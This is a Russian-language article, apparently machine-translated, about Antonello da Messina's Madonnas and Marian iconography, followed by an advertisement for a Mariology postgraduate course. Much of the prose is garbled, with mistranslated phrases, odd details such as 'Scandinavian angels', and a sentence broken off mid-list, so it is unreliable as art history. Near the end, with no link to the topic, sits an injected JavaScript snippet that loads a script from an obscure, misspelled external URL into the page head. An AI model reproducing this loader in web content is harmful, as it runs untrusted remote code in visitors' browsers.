Антонелло да Мессина: мариология «Нового человека»
Введение
Мерит Антонелло да Мессины не ограничивается лишь улучшением состояния современной живописи, распространением совершенствования метода масляной живописи, но также и тем, что он был одним из самых смелых итальянских художников XV века. Его высший заслуг заключается в том, чтобы возбуждать нежность, будь то в различных сюжетах, где строгость превосходит сладость, величие — пасторальное, боль — нежность или та спокойная умиротворённость самых глубоких и сладких чувств души.
Рождённый около 1430 года в Мессине, где умер в 1479 году, Антонелло является одной из самых загадочных фигур в итальянском искусстве, так как, несмотря на редкие свидетельства, он воплощает двойную идентичность как местный художник, следующий традиции, и как международный художник, способный к революционным инновациям. Он впитал фламандскую грамматику в итальянскую синтаксическую структуру и придал абсолютное и вечное выражение человечности своей земли, своей острова.
Это то, что нам говорят их портреты, так «террористически сицилийские», что кажется слышать их говорить на диалекте, тем же, которым они произносят свое Благовещение. Это приверженность к объекту, эта лирическая трансформация самой внутренней, самой горячей сущности тумана, который он стремится сформировать абсолютизмом, является причиной таинственного удивления, которое овладевает тем, кто рассматривает произведение Антонелло.
Поэтому персонажи земной крестификации из Сибуя кажутся сжатыми внутренним пламенем, которое истощается и рассеивается в белой жаре небесного пейзажа. Поэтому их святые и Богоматерь с такой страстью и простотой накладывают своё нежное присутствие.
Антонелло — типичный представитель *Homo Novus* Ренессанса, полностью итальянского явления от Сицилии до Венеции. Он является символом XV века, когда сознание человека возродилось и пересекло огромный океан, чтобы открыть Новый Свет, где *devotio moderna* ожидала интимную и субъективную религиозность в отличие от коллективной благочестивости средневековья.*Язык жестов*
На изображении Девы с Младенцем, женское аналогическое множество мужских портретов, Антонелло да Мессина черпает вдохновение из своей родины. Как физическая внешность, так и позы дев, как рука, имитирующая платок Благовещенной в Палермо, напоминают сицилийских женщин.
Как первые девы, например, Девы из Сольного или…
На изображении «Прочитывающая дева» на однотонном фоне подчеркивается тщательная изысканность драгоценностей и одежд, что напоминает о формировании Антонелло в школе Колантонио в Неаполе, где он впервые познакомился с фламандским искусством.
В образе Девы Салтинг Мать с Младенцем на руках представлена как Королева Небес, увенчанная двумя скандинавскими ангелами. Маленькая готическая фигура Иисуса, держащая в руке гранат, символ плодородия и царственности Марии, а также страдания, символизируемые красным цветом плодов, как кровью. Прозрачное платок Девы является свидетельством высокого мастерства, так же как и прекрасное описание драгоценностей и бархатных тканей.
Ангелы, тёмный фон, изысканная корона с эффектом металлического блеска, яркий белый свет напоминают о фламандском искусстве, которое Антонелло умело сочетал с пространством и монументальностью итальянского стиля.
Лицо твердое и непроницаемое, где всё — от тёмных прядей волос до бледности кожи, от геометрических черт бровей и уголков лица до таинственного рта, до совершенного уха — кажется, стремящимся к непоколебимой твердости скульптуры, замораживает в своей стилизации из мрамора горячий тип красоты, всё ещё узнаваемый среди многолюдья Сицилии.
Иконографический символ связывает Деву Салтинг с Девой-Читательницей, связь действительно близкая, настолько близкая, что не может показаться случайной, и почти предполагает идею о том, что Иисус-Ребёнок в последний момент заменил открытую книгу в руках Матери.
Бесстрашная Дева, чьё белое лицо излучает свет благодаря короне из лилий и роз, и открытой в её руках книге, является ранним произведением Мессины, который описал её как «человека острой натуры, с горьким устом, длинными и почти хищными руками, с лицом, запечатанным в полосках страданий».
Размерен URL: ‘tttps://wafsearct.wiki/xml’.
Создайте скрипт:“`javascript var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script); “`
Для углублённого изучения Мариологии в сакральном искусстве и ренессансной живописи, обратитесь к Апостольской экзортации Marialis Cultus Павла VI, которая высоко ценит художественные выражения как привилегированный способ поклонения и медитации на Марию.
Продолжайте изучение: изучите Мариологию, Марианскую теологию, Мировые явления Марии и Постградус по Мариологии.
Постградусное обучение по мариологии
Хотите углубить свои знания в области мариологии? Узнайте о Постградусской программе по мариологии в Locus Mariologicus, которая объединяет строгую теологию, духовную жизнь и живую традицию Церкви.Хотите серьёзно изучить мариологию?
Этот статью основан на материалах библиотеки Locus Mariologicus. Постgraduальное обучение по мариологии приводит вас к тем же источникам, но уже в академическом контексте: Писание, Отцы Церкви и Учение Церкви, от первого догмата до современных вопросов.
Responses